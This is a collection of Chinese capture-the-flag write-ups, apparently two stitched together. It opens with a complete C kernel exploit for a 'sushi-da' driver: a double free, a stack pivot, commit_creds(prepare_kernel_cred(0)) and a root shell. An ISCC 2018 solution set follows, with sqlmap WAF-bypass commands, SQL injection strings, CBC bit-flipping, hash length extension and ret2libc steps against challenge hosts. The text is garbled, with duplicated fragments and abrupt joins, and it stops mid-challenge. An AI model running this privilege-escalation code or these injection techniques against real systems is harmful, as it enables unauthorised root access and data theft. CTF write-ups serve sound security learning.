其实可以有很多`mov esp, 0xbalabala`的`gadget`，找一个合适的应该就好了吧，我选的是这一条：
0xffffffff816216c0: mov esp, 0xf6ffac28; ret;
然后`mmap`出来这块空间，写入ROP链，说是ROP链，其实里面也就一个函数：
size_t rop_chain[] = {
get};
static void get()
{
commit_creds(prepare_kernel_cred(0));
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_sp),
"r"(user_rflags),
"r"(user_cs), "r"(pop_shell));
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
## 0x4 Exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#define SUSHI_REGISTER_RECORD 0xdead001
#define SUSHI_FETCH_RECORD 0xdead002
#define SUSHI_CLEAR_OLD_RECORD 0xdead003
#define SUSHI_CLEAR_ALL_RECORD 0xdead004
#define SUSHI_RECORD_MAX 0x10
#define SUSHI_NAME_MAX 0x10
struct record
{
char date[0x10];
unsigned long result;
};
struct ioctl_register_query
{
struct record record;
};
struct ioctl_fetch_query
{
unsigned rank;
struct record record;
};
#define errExit(msg) \
do \
{ \
perror("[ERROR EXIT]\n"); \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define WAIT(msg) \
puts(msg); \
fgetc(stdin);
unsigned long long user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor
unsigned long long leak, kernbase, heapbase;
unsigned long long base = 0xffffffff81194090;
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = 0;
_prepare_kernel_cred prepare_kernel_cred = 0;
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
static void get()
{
commit_creds(prepare_kernel_cred(0));
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_sp),
"r"(user_rflags),
"r"(user_cs), "r"(pop_shell));
}
unsigned long long calc(unsigned long long addr)
{
return addr - base + kernbase;
}
int register_record(char *date, unsigned long result)
{
struct ioctl_register_query request;
memcpy(request.record.date, date, 0x10);
request.record.result = result;
return ioctl(fd, SUSHI_REGISTER_RECORD, &request);
}
int fetch_record(struct ioctl_fetch_query *request)
{
return ioctl(fd, SUSHI_FETCH_RECORD, request);
}
int clear_old_records()
{
return ioctl(fd, SUSHI_CLEAR_OLD_RECORD, 0);
}
int clear_all_records()
{
return ioctl(fd, SUSHI_CLEAR_ALL_RECORD, 0);
}
int main(int argc, char const *argv[])
{
fd = open("/dev/sushi-da", O_RDWR);
save_status();
register_record("1970/12/24\x00", 1970);
clear_old_records();
int victim = open("/proc/self/stat", O_RDONLY);
struct ioctl_fetch_query leak;
leak.rank = 4;
fetch_record(&leak);
kernbase = *(unsigned long *)leak.record.date; // single_start
printf("Leak single_start addr : %#llx\n", *(unsigned long long *)leak.record.date);
commit_creds = calc(0xffffffff8106cd00);
prepare_kernel_cred = calc(0xffffffff8106d110);
printf("Leak commit_creds addr : %#llx\n", commit_creds);
printf("Leak prepare_kernel_cred addr : %#llx\n", prepare_kernel_cred);
unsigned long long *rop =
(unsigned long long *)mmap(0xf6ffa000,
0x8000,
PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_ANON | MAP_PRIVATE | MAP_POPULATE,
-1, 0);
printf("Chain: %#llx\n", rop);
unsigned long long chain[0x100];
size_t rop_chain[] = {
get};
// double free
clear_old_records();
memcpy(0xf6ffac28, rop_chain, sizeof(rop_chain));
struct ioctl_register_query request;
memset(request.record.date, 0, 0x10);
*(unsigned long long *)request.record.date = calc(0xffffffff816216c0);
*((unsigned long long *)request.record.date + 1) = calc(0xffffffff816216c0);
request.record.result = calc(0xffffffff816216c0);
register_record((void *)request.record.date, 0xffffffffdeadc0c0);
printf("Got Shell!\n");
char c;
read(victim, &c, 1);
return 0;
}
// / # ffffffff8106cd00 T commit_creds
// / # ffffffff8106d110 T prepare_kernel_cred
// / # ffffffff81194090 t single_start
// / # sushi_da 16384 0 - Live 0xffffffffc0000000 (O)
// .text:000000000000002E call kmem_cache_alloc_trace ; PIC mode
// b *0xffffffffc000002e
// .text:00000000000001B6 call kfree ; PIC mode
// b *0xffffffffc00001b6
// .text:000000000000014D call _copy_to_user ; PIC mode
// b *0xffffffffc000014d
// 0xffff88800f2bd500
// pwndbg> x/10gx 0xffff88800f2bd540
// 0xffff88800f2bd540: 0x2f32312f30393931 0x6e6f657800003432
// 0xffff88800f2bd550: 0x000000000000001e 0x0000000000000000
// 0xffffffff816216c0: mov esp, 0xf6ffac28; ret; | 社区文章 |
# 第一手详细又全面的ISCC 2018 writeup等你学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：china H.L.B战队 未经同意，不得转载
## 一、 Misc
### 1.题目：What is that？
解答：
（1） 打开题目后发现是一个手势如下图所示：
（2） 打开winHex工具，寻找00000272000001F4，如下图所示；
（3） 修改成00000272000002F4，如下图所示；
（4） 保存并且打开图片即可看见flag，如下图所示；
（5） Flag得：Flag={Welcome_To_ISCC_2018}；
（6） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1ut_w9nQRqCbmJGUqIk_9Og>
密码: svyb
### 2.题目：秘密电报
解答：
（1） 打开题目后发现是：ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA加密字串符，如下图所示；
（2） 观察是培根密码，根据培根密码的性质如下图所示；
（3） 使用在线工具进行解密如下图所示；
解密网址链接：<http://tool.bugku.com/peigen/>
（4） 得：ILIKEISCC，ilikeiscc
（5） Flag：ILIKEISCC
（6） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1QVTLEruYe-s4BqohhUya5A>
密码: kank
### 3.题目： Where is the FLAG?
解答：
（1） 打开题目后发现是一个png图片，如下图所示；
（2） 使用Adobe Fireworks CS5工具打开这个图片，如下图所示；
（3） 把ISCC的logo移开看到二维码，如下图所示；
（4） 发现有N张二维码，如下图所示；
（5） 把这些二维码拼接成一个二维码，如下图所示；
（6） 扫描得flag，如下图所示；
（7） Flag：a332b700-3621-11e7-a53b-6807154a58cf
（8） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1H7UQ7kRkX6DslTNF_1-pTA>
密码: 5dgt
### 4.题目：一只猫的心思
解答：
（1） 打开题目后发现是一个游戏猫，如下图所示；
（2） 使用winHex查看打开，如下图所示；
（3） 发现图片里边有一个WPS版本的word文档，如下图所示；
（4） 进行手动分离，并且报错doc版本，如下图所示；
备注：WPS版本的hex文件头值：D0CF11E0A1B11AE1
（5） 打开提取出来的word文档，如下图所示；
（6） 使用与佛论禅进行解密，如下图所示；
解密网址链接：<http://www.keyfc.net/bbs/tools/tudoucode.aspx>
（7） 点击参悟佛所言的真意解密得如下图所示;
（8） 把解密结果复制到winHex左边；
（9） 把右边内容进行base64解密；
解密网址链接：<http://base64.xpcha.com/>
（10） 解密结果进行base32解密；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base.php>
（11） 把base32解密结果复制到winHex左边，如下图所示；
（12） 在winHex里获取到的base64进行解密，如下图所示；
（13） 解密结果进行base32解密，如下图所示；
（14） 把解密结果复制到winHex左边，如下图所示；
（15） Flag：F1a9_is_I5cc_ZOl8_G3TP01NT
（16） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1fi_DoySdBLQUUrj0ZSo80w>
密码: yvp7
### 5.题目：暴力XX不可取
解答：
（1） 打开题目后发现是一个加密的zip压缩包，如下图所示；
有俩种解法，先来看 **方法一**
（1）复制到linux kali里边，使用binwalk -e命令解压缩，如下图所示；
（2） 访问解压缩后的文件夹，如下图所示；
（3） 使用命令cat flag.txt查看txt文件内容，如下图所示；
Vfppjrnerpbzvat
**方法二**
（1）在winHex里边打开压缩包，如下图所示；
（2）找着504B030414000008和4B01023F00140007，如下图所示；
（3）修改成504B030414000000和4B01023F00140000，如下图所示；
（4） 保存然后进行解压缩，如下图所示；
（5） 打开文件后的flag.txt文本文件，如下图所示；
（6） 打开flag.txt文件，如下图所示；
Vfppjrnerpbzvat
（7） ROT13进行解密
解密网址链接：<http://www.mxcz.net/tools/rot13.aspx>
（8） Flag：isccwearecoming
（9） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1Yv9BX4QMFlqGftZjareWbw>
密码: 37c3
### 6.题目：重重谍影
解答：
（1） 下载题目后发现是一大段的base64加密，如下图所示；
（2） 进行base64解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（3） 发现解密结果还是是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（4） 发现解密结果还是是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（5） 到了第四层发现是URL密文所以解密，如下图所示；
解密网址链接：<http://www.convertstring.com/zh_CN/EncodeDecode/UrlDecode>
（6） 解密结果是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（7） 到了第六层发现是URL密文所以解密，如下图所示；
解密网址链接：<http://www.convertstring.com/zh_CN/EncodeDecode/UrlDecode>
（8） 解密结果是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（9） 到了第八层发现是URL密文所以解密，如下图所示；
解密网址链接：<http://www.convertstring.com/zh_CN/EncodeDecode/UrlDecode>
（10） 解密结果是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（11） 解密结果是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（12） 解密结果是base64所以继续解密，如下图所示；
解密网址链接：<http://www.qqxiuzi.cn/bianma/base64.htm>
（13） 到了第十二层发现是URL密文所以解密，如下图所示；
解密网址链接：<http://www.convertstring.com/zh_CN/EncodeDecode/UrlDecode>
（14） 到了第十三层发现解密后果是AES所以解密，如下图所示；
解密网址链接：<https://www.sojson.com/encrypt_aes.html>
（15） 第十四层解密结果是与佛论禅加密所以进行解密，如下图所示；
解密网址链接：<http://www.keyfc.net/bbs/tools/tudoucode.aspx>
（16） Flag：把我复制走
（17） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1ygIKTa3AVnPhzbUheWbiog>
密码: afwk
### 7.题目：凯撒十三世
解答：
（1） 观察题目，题目在第一个分句提示了是凯撒，如下图所示；
（2） 所以尝试凯撒(rot13)移位进行解密，如下图所示；
解密网址链接：<http://www.mxcz.net/tools/rot13.aspx>
（3） 题目叙述第二个分句是键盘，如下图所示；
（4） 根据解密内容在键盘上下移一位，如下图所示；
A补充一个小知识点，如下图所示；
B回到正文，如下图所示（按照解密的密文顺序得到flag）；
（5） Flag：yougotme
（6） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1yOy0OPs4PiOxyIHST6JhQg>
密码: 53pq
### 8.题目：有趣的ISCC
解答：
（1） 下载题目并且解压缩，如下图所示；
（2） 发现是一个jpg的图片并且把图片放入winHex中查看，如下图所示；
（3） 发现图片是png图片的头，如下图所示；
（4） 看到图片结尾，发现IEND后边有Unicode编码，如下图所示；
（5） 把Unicode编码进行解密（点击Unicode编码转中文），如下图所示；
解密网址链接：<http://tool.chinaz.com/tools/unicode.aspx>
（6） 解密后发现有16进制编码，所以继续解密（点击16进制转字符）。如下图所示；
解密网址链接：<https://www.bejson.com/convert/ox2str/>
（7） Flag：flag{iscc is fun}
（8） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1Uwat1hXovCRmZHhg8Fw1bg>
密码: w9ui
### 9.题目：数字密文
解答：
（1） 如题目所示给的是16进制所以转换成字符，如下图所示;
解密网址链接：<https://www.bejson.com/convert/ox2str/>
（2） Flag：it’s easy!
（3） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/13IuYVJx_HtYg7zr4QUtV6g>
密码: vhex
### 10.题目：挖宝计划
解答：
（1） 下载题目后发现是一个压缩包，如下图所示；
（2） 尝试解压缩，发现有密码。如下图所示；
（3） ZIP压缩包，在winHex检测不是伪加密。如下图所示；
（4） 使用明文撞击密码，如下图所示；
（5） 压缩包密码为（ISCCzxc），如下图所示；
（6） 压缩包解压缩完毕后，发现跟去年题目一样。不知道主办方想拿这题做什么；
（7） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1ZjmkZuuksJfpwPJrqaHsZg>
密码: bkpa
### 11.题目：嵌套ZIPs
解答：
（1） 下载题目后发现是一个压缩包，如下图所示；
（2） 压缩包解压缩发现有密码，如下图所示；
（3） 首先进行数字类型的掩码爆破，如下图所示；
（4） 得到第一层密码并且解压缩，如下图所示；
（5） 看解压缩后的tips.txt文件，如下图所示；
（6） 根据内容猜测是明文攻击，如下图所示；
（7） 使用ARCHPR进行明文攻击，如下图所示；
（8） 得到解压缩密码：Z!C[@t](https://github.com/t "@t")#f$12并且解压缩文件，如下图所示；
（9） 把第三层压缩包放入winHex中，如下图所示；
（10） 发现是伪加密，如下图所示；
（11） 把14000008修改成14000000.如下图所示；
（12） 保存并且解压缩，如下图所示；
（13） 解压缩后并打开flag.txt，如下图所示；
（14） Flag : ISCC_!S_my_favor1te_CTF
（15） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1XY_QvoK9vaAQcZXNI0QrRQ>
密码: ipbt
## 二、 Web
### 1.题目：比较数字大小
解答：
（1） 打开网址页面只有一个提交的对话框，如下图所示；
（2） 打开审核元素，如下图所示；
（3） 修改审核元素的maxlength=”3”，如下图所示；
（4） 把maxlength=”3”修改成maxlength=”4”，如下图所示；
（5） 对话框输入9999，如下图所示；
（6） 点击提交，如下图所示；
（7） Flag：key is 768HKyu678567&*&K
### 2.题目：你能跨过去吗？
解答：
（1） 打开网址，如下图所示；
（2） 网页页面链接中发现base64，如下图所示；
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA
（3） 解密网页页面链接中的base64，如下图所示；
解密网址链接：<http://base64.xpcha.com/>
（4） 把解密后的结果重新整理，如下图所示；
<script>alert(“key:/%nsfocusXSStest%/“)</script>
（5） 把/%nsfocusXSStest%/复制到对话框，如下图所示；
（6） 点击提交弹出对话框，如下图所示；
（7） Flag：flag{Hell0World}
### 3.题目：一切都是套路
解答：
（1） 打开链接，如下图所示；
（2） 使用扫描器进行扫描，如下图所示；
<http://118.190.152.202:8009/index.php.txt>
（3） 打开扫描结果的链接，如下图所示；
（4） 打开狐火浏览器的HackBar，如下图所示；
（5） 点击LoadURL,把网址复制到对话框中，如下图所示；
（6） 点击Post data,如下图所示；
（7） 在LoadURL中的网址index.php后增加?_200=flag，如下图所示；
（8） 在Post data中输入flag=aaaaaaaaaaaaaaaaaaaaa，如下图所示；
（9） 点击Execute,访问网页，如下图所示；
（10） Flag：ISCC{taolu2333333….}
### 4.题目：你能绕过吗？
解答：
（1）打开链接，如下图所示；
（2）随便点一个，如下图所示；
（3）把id=2，修改成6668952，如下图所示；
（4）发现id后没有过滤，所以尝试文件包含漏洞，读取包含flag的文件，如下图所示；
（5）发现页面显示base64，进行解密，如图下所示；
解密网址链接：<http://base64.xpcha.com/>
（6） 发现解密结果是html静态页面源码，如图下所示；
（7） Flag：ISCC{LFIOOOOOOOOOOOOOO}
（8） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1_5OWy8TCFKbq6vIz-wPhPA>
密码: id8e
### 5.题目：web02
解答：
（1）打开链接，如下图所示；
（2）题目链接中文字中有本机链接，所以抓包修改http请求头，如下图所示；
Client-IP:127.0.0.1
（3）点击Intercept is on 放包，如下图所示；
（4）查看网页，如下图所示；
（5）Flag：ISCC{iscc_059eeb8c0c33eb62}
### 6.题目：SQL注入的艺术
解答：
（1） 打开链接，如下图所示；
（2） 点击个人信息，如下图所示；
（3） 把链接放入sqlmap，尝试注入，如下图所示；
命令：
sqlmap –u <http://118.190.152.202:8015/index.php?id=1>
（4） 发现是宽字符注入并且提示有WAF，所以更尝试绕过WAF，如下图所示；
命令：
sqlmap -u “<http://118.190.152.202:8015/index.php?id=1>“ —tamper
unmagicquotes.py —batch -v 3 —level 3 –dump
（5） Flag：Y0u_@[@33w_dxxmn_9rf0Od](https://github.com/33w_dxxmn_9rf0Od
"@33w_dxxmn_9rf0Od")
### 7.题目：试试看
解答：
（1） 打开链接，如下图所示；
（2） 在img=的地方，测试是否有文件包含漏洞，如下所示；
（3） 发现有文件包含漏洞，如图形所示；
A. payload，如图下所示；
B. 证明存在的文件包含漏洞，如图下所示；
（4） 构造payload，如图下所示；
（5） 打开网页后是空白，如图下所示；
（6） 打开网页源码，如图下所示；
（7）Flag：flag{1ntere5ting_PHP_Regu1ar_express1onssssss}
（8） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1hpljgBPsE-V6VWz0YB91_A>
密码: m5x3
### 8.题目：本地的诱惑
解答：
（1） 都说是签到题了，所以打开链接。如下图所示；
（2） 查看源码，如下图所示；
（3） Flag：ISCC{^&*(UIHKJjkadshf}
### 9.题目：请ping我的ip看你能Ping通吗？
解答：
（1） 打开链接，如下图所示；
（2） 使用扫描器，扫描一下目录。如下图所示；
扫描结果：<http://118.190.152.202:8018/flag.txt>
（3） 打开扫描结果，如下图所示；
（4） Flag：ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
### 10.题目：Please give me username and password!
解答：
（1） 打开题目链接，如下图所示；
（2） 链接页面提示需要用户名和密码，如下图所示；
（3） 所以构造用户密码访问的payload.如下图所示；
Payload：/?username[]&password=3e9
（4） Flag：flag{ISCC2018_Very_GOOD!}
### 11.题目：web01
解答：
（1） 打开链接发现是代码审计题，如下图所示;
（2） GET类型提交了password,获得flag要求是：
A. password=0
B. sha(password)=0
（3） 这样看起来，使password最后结果等于0，if条件成立获得flag。构造语句如下图所示；
（4） Flag：ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}
### 12.题目：Collide
解答：
（1） 打开链接发现是代码审计题目，如下图所示；
（2） 审计源码后，使用HashPump攻击；
（3） 安装HashPump；
A.方法一：
git clone <https://github.com/bwall/HashPump.git>
apt-get install g++ libssl-dev
cd HashPump
make
make install
B.方法二：
pip install hashpumpy
（4） 运行HashPump并且将x替换成%后用hacbar urldecode，如下图所示；
（5） 运行hackbar，如下图所示；
（6） 用burp截包改md5值，如下图所示；
（7） Flag：ISCC{MD5_1s_n0t_5afe}
### 13.题目：Only admin can see flag
解答：
（1） 打开题目链接，发现只有一个登录对话框。如下图所示；
（2） 查看源码，发现有一个index.txt的提示，如下图所示；
（3） 打开index.txt，审计源码，发现是CBC反转漏洞，如下图所示；
（4） 下面介绍一下CBC字节翻转攻击的原理，如下图所示；
（5） 如上图所示，CBC加密的原理图；
A. Plaintext：待加密的数据。
B. IV：用于随机化加密的比特块，保证即使对相同明文多次加密，也可以得到不同的密文。
C. Ciphertext：加密后的数据。
D. 在这里重要的一点是，CBC工作于一个固定长度的比特组，将其称之为块。在本文中，我们将使用包含16字节的块。
（6） 整个加密的过程简单说来就是；
A.首先将明文分组(常见的以16字节为一组)，位数不足的使用特殊字符填充。
B.生成一个随机的初始化向量(IV)和一个密钥。
C.将IV和第一组明文异或。
D.用密钥对C中xor后产生的密文加密。
E.用D中产生的密文对第二组明文进行xor操作。
F.用密钥对E中产生的密文加密。
G.重复E-G，到最后一组明文。
H.将IV和加密后的密文拼接在一起，得到最终的密文。
从第一块开始，首先与一个初始向量iv异或（iv只在第一处作用），然后把异或的结果配合key进行加密，得到第一块的密文，并且把加密的结果与下一块的明文进行异或，一直这样进行下去。因此这种模式最重要的特点就是：
（7） 前一块的密文用来产生后一块的密文,如下图所示；
（8） 这是解密过程，解密的过程其实只要理解了加密，反过来看解密过程就也很简单了，同样的，前一块密文参与下一块密文的还原。
A.从密文中提取出IV，然后将密文分组。
B.使用密钥对第一组的密文解密，然后和IV进行xor得到明文。
C.使用密钥对第二组密文解密，然后和2中的密文xor得到明文。
D.重复B-C，直到最后一组密文。
（9） 这幅图是我们进行翻转攻击的原理图：
这里可以注意到前一块Ciphertext用来产生下一块明文，如果我们改变前一块Ciphertext中的一个字节，然后和下一块解密后的密文xor，就可以得到一个不同的明文，而这个明文是我们可以控制的。利用这一点，我们就欺骗服务端或者绕过过滤器。
（10） 在登录对话框随意输入一个帐号和密码并且使用bp抓包，如下图所示；
（11） 查看返回包，如下图所示；
（12） 使用脚本进行反转，如下图所示；
（13） bp中的cookie中设置iv和翻转后的cipher并且把post值清空后提交，如下图所示；
（14） 返回结果如下图所示；
（15）
服务器提示反序列化失败，但是其实我们这个时候只要对这个进行base64解码就会发现，我们的username已经变成了admin；原因是在我们为了修改mdmin为admin的时候，是通过修改第一块数据来修改的，所以第一个块数据被破坏了。因为程序中要求username要等于admin所以不能利用文章里的说的填充字符。
又因为是第一个块数据被破坏，第一个块数据是和IV有关，所以只要将在CBC字符翻转攻击，得到新的IV就可以修复第一块数据。如下图所示；
（16） 把得到的数值替换iv，cipher不动然后提交。如下图所示；
（17） Flag：ISCC{123dasd89as10aas}
（18） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1mr6NTo2sAkdH90hcFRHW8g>
密码: 1kny
### 14.题目：PHP是世界上最好的语言
解答：
（1） 打开链接发现是代码审计，如下图所示；
（2） 使用扫描器扫描，发现有no_md5.php文件。如下图所示；
（3） 审计题目所给的源码，发现是文件包含。如下图所示；
（4） 所以这样构造语句，如下图所示：
/no_md5.php?a=GLOBALS
（5） Flag：ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}
### 15.题目：Only Admin
解答：
（1） 打开链接发现是一个登陆对话框，如下图所示
（2） 使用扫描器扫描一下，发现了备份文件。如下图所示；
<http://118.190.152.202:8020/web.zip>
（3） 把备份文件解压缩，如下图所示；
（4） 打开config.php发现了需要审计的代码，如下图所示；
（5） 在登录对话框的email地方输入’ or 1#并且随意输入password，如下图所示；
（6） 点击login，如下图所示；
（7） 运行脚本写入cookie中，如下图所示；
（8） 脚本运行后会在cookie中增加一条如下图所示；
（9） 打开审核元素，如下图所示；
（10） Flag：flag{USer1ali2e1sInt4rt1n9}
（11） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1btTm5HfZOJkmS7OMgbVGxQ>
密码: 6cyp
### 16.题目：为什么这么简单啊
解答：
（1） 打开链接发现是一个闯关，如下图所示；
（2） 看到了这俩个要素，如下图所示；
（3） 这点就类似于DDCTF 2018里边的web题目了，使用BurpSuite抓包并且修改HTTP头，如下图所示；
（4） 点击GO，得到的返回结果如下图所示；
（5） 得到第二关地址并且发现需要输入密码才可以获取flag，如下图所示；
（6） 点击鼠标右键选择查看网页源代码，如下图所示；
（7） 点击源代码中的./password.js,如下图所示；
（8） 发现一段base64代码，如下图所示；
（9） 进行base64解密，如下图所示；
解密网址链接：<http://base64.xpcha.com/>
（10） 解密得到的结果是XSS语句并且发现获取flag的密码，如下图所示；
password:xinyiji.com
（11） 输入密码并且点击获取flag，如下图所示；
（12）Flag：B1H3n5u0xI2n9JIscc
（13）题目下载百度网盘链接：
链接:
[https://pan.baidu.com/s/11SPmCZ8h7Xov–P-jknpEA](https://pan.baidu.com/s/11SPmCZ8h7Xov
--P-jknpEA)
密码: 7vef
### 17.题目：Sqli
解答：
（1） 打开链接发现是一个登陆对话框，如下图所示；
（2） 使用BurpSuite抓包，如下图所示；
（3） 在登录对话框的username输入：-1’ OR (1=1*) or ‘，password输入x，如下图所示；
（4） 把抓包内容保存成TXT，如下图所示；
（5） 使用sqlmap注入，如下图所示；
A. 注入命令语句，如下图所示；
B. 注入结果，如下图所示；
（6） Flag：flag{hahaha999999999}
（7） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1TUw4fcYsbH7-sJ9IAPhSxw>
密码: tn7y
### 18.题目：有种你来绕
解答：
（1） 打开链接发现是一个登陆对话框，如下图所示；
（2） 使用BurpSuite抓包并且登录尝试，如下图所示；
C
（3） 通过返回结果得到用户名是admin，如下图所示；
（4） 使用BurpSuite抓包并且进行注入，如下图所示；
（5） 返回结果如下图所示：
（6） 使用脚本跑密码，如下图所示；
（7） 得到password密码为：nishishabi1438
（8） 使用帐号密码登录，如下图所示；
（9） 输入flag获取flag，如下图所示；
（10） Flag：flag{sql_iNjEct_Is_Easy}
（11） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1E7PuabjjP4ovxw1H0KANtg>
密码: 5vsi
## 三、 Reverse
### 1.题目：RSA256
解答：
（1） 下载题目，得到如下图所示；
（2） 解压缩，得到如下图所示；
（3） 吐槽一句，出题人是不是对密码有什么误解呢？re地方放一个RSA密码，如下图所示；
（4） 首先看到公钥文件public.key，想都不用想，直接丢给kali，用openssl解出e、n，如图下所示；
命令：openssl rsa -pubin -text -modulus -in warmup -in public.key
（5） e为65537，n还比较短，先转换为10进制，如图下所示；
（6） 对n进行因数分解，如图下所示；
解密网址：<http://factordb.com/>
（7） 轻易就解出p和q，如图下所示；
（8） 到这里，RSA的参数已经齐全了，如图下所示；
（9） 使用python3代码实现密文解密，如图下所示；
（10） 运行程序得到答案，如果图下所示；
（11） Flag：flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}
（12） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1ewjLGoTQN685ly1Q2nY09Q>
密码: px37
### 2.题目：My math is bad
解答：
（1） 下载题目发现是elf属性文件，如下图所示；
（2） 扔进IDA，如下图所示；
（3）按F5，如下图所示；
（4）是解2个方程组，使用python z3解决。如下图所示；
（5）Flag：flag{th3_Line[@r_4lgebra_1s_d1fficult](https://github.com/r_4lgebra_1s_d1fficult
"@r_4lgebra_1s_d1fficult")!}
（6）题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1fdFgCYlrQVW-lwTRxAZLZw>
密码: hfbv
### 3.题目：obfuscation and encode
解答：
（1） 下载题目得到ELF文件，如下图所示；
（2） 使用ida打开，如下图所示；
（3） 该题通过两层加密进行字符串对比进行验证；
（4） 两层加密通过while 进行混淆 实际上就是 两层循环 看成if else也可以；
（5） 第二层是换了字符表的base64 网上随便找个base64脚本实现换一下表解码，如下图所示；
（6） 第一层需要爆破，脚本如下图所示；
（7） 脚本运行结果如下图所示；
（8） Flag：flag{dO_y0U_KNoW_0IlVm?}
（9） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/12Pv9G89pzZAlwVTlpSkE5g>
密码: 3r36
### 4.题目：leftleftrightright
解答：
（1） 下载题目得到exe文件，如下图所示
（2） 把下载的文件放入IDA，如下图所示；
（3） 非常简单的一道逆向题根据题目提示左右移位
（4） 外面有壳随便找个脱壳机脱掉壳
（5） 打开IDA观察发现输入长度需要为29
（6） 直接上windbg输入二十九长度的不重复数据，如下图所示；
（7） 可以观察到字符位置的替换规则
（8） 对照IDA里的 目标字符串，如下图所示；
（9） 脚本对应程序进行替换，如下图所示；
（10） 运行结果如下图所示；
（11） Flag：Flag{this_was_simple_isnt_it}
（12） 题目下载百度云盘链接：
链接: <https://pan.baidu.com/s/15HC3pH81JdxJWnXM6tKCCA>
密码: x8bi
## 四、PWN
### 1.题目：Login
解答：
（1） 下载题目，如图下所示；
（2） 把程序扔进IDA，如图下所示；
（3） 发现有个login函数，需要login才能进入menu函数内部，如图下所示；
（4） 帐号密码程序中已经给出了，如图下所示；
（5） 进入menu函数中，分析得知在输入选项时存在栈溢出，可以覆盖返回地址，如图下所示；
（6） 那么先通过返回到puts函数将puts[@got](https://github.com/got
"@got")以及read[@got](https://github.com/got
"@got")地址泄露，再通过libcdatabase将服务器上的libc找出来，计算system，binsh的地址，最后再一次栈溢出执行system(‘/bin/sh’)
（7） 脚本，如下图所示；
（8） Flag：flag{welcome_to_iscc}
（9） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/10EG4ubVKQIQytjvzst6VuQ>
密码: rqdy
### 2.题目： Write some paper
解答：
（1） 下载题目，如图下所示；
（2） 把题目扔进IDA，如下图所示；
（3） 发现是hos的作法，先利用get_num泄漏栈地址。如下图所示；
（4） 再利用secret选项在栈上构造fake_chunk，如下图所示；
（5） 最后再利用uaf结合fastbin stack返回栈内存，将secret函数返回地址覆盖为gg函数地址，如下图所示；
（6） 最后退出secret函数即可；
（7） 脚本如下图所示；
（8） 运行结果如下图所示；
（9） Flag：flag{ISCC_SoEasy}
（10） 题目下载百度网盘链接；
链接: <https://pan.baidu.com/s/1hxDG1o7XvBz6u6DQfoq7qA>
密码: ge1i
2.题目：Happy Hotel
解答：
（1） 下载题目，如图下所示；
（2） 使用IDA打开程序，如下图所示；
